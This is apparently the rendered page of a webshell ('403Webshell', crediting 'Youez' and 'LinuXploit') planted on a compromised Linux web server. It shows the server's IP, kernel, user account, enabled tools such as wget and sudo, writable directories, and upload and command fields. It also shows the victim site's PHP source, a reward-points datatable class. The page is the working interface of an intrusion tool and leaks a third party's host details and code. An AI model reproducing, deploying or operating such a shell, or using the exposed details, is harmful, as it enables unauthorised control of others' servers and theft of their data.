403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/modules/ttjs/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/modules/ttjs/code/RewardPointsExtendedDatatable.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of RewardPointsExtendedDatatable
 *
 * @author Maroš
 */

namespace modules\ttjs\code;

use modules\ttjs\code\TtjsConfig as Config;

class RewardPointsExtendedDatatable extends \modules\extendedDatatable\code\ExtendedDatatable {

    private $currency;
    private $currencyHelper;
    private $maxId = 0;

    public function __construct() {
        parent::__construct("/modules/ttjs/", "reward_points_datatable");
        $cnf = new Config();
        $this->currency = $cnf->getConfig(Config::CURRENCY);
        $this->currencyHelper = new Currency();
    }

    public function processRow($array, $key, $params = array()) {
        if (intval($this->maxId) === intval($array["id"])) {
            $actions = array(
                "<span data-toggle='tooltip' title='" . $this->t->_get("Zmazať") . "' class='btn btn-danger btn-xs' onclick='deleteRewardPointItem(" . $array["id"] . ")'><i class='fa fa-trash'></i></span>",
            );
        } else {
            $actions = array(
                "<span data-toggle='tooltip' title='" . $this->t->_get("Zmazať") . "' class='btn btn-danger btn-xs disabled'><i class='fa fa-trash'></i></span>",
            );
        }

        $array["amount"] = $this->currencyHelper->getRoundedVal($array["amount"], $this->currency, true);
        $this->data[$key] = array(implode("", $actions)) + $array;
    }

    public function getFixedSqlCondition() {
        return "reward_points.users_id=:reward_points_users_id AND reward_points.type IS NOT NULL";
    }

    public function getFixedBindArray() {
        $this->maxId = $this->db->getValue("SELECT MAX(id) FROM reward_points WHERE users_id=:users_id AND state=:ACTIVE", [
            "users_id" => $this->getPost("reward_points.users_id"),
            "ACTIVE" => \app\constants\State::ACTIVE
        ]);
        return array(
            "reward_points_users_id" => $this->getPost("reward_points.users_id")
        );
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit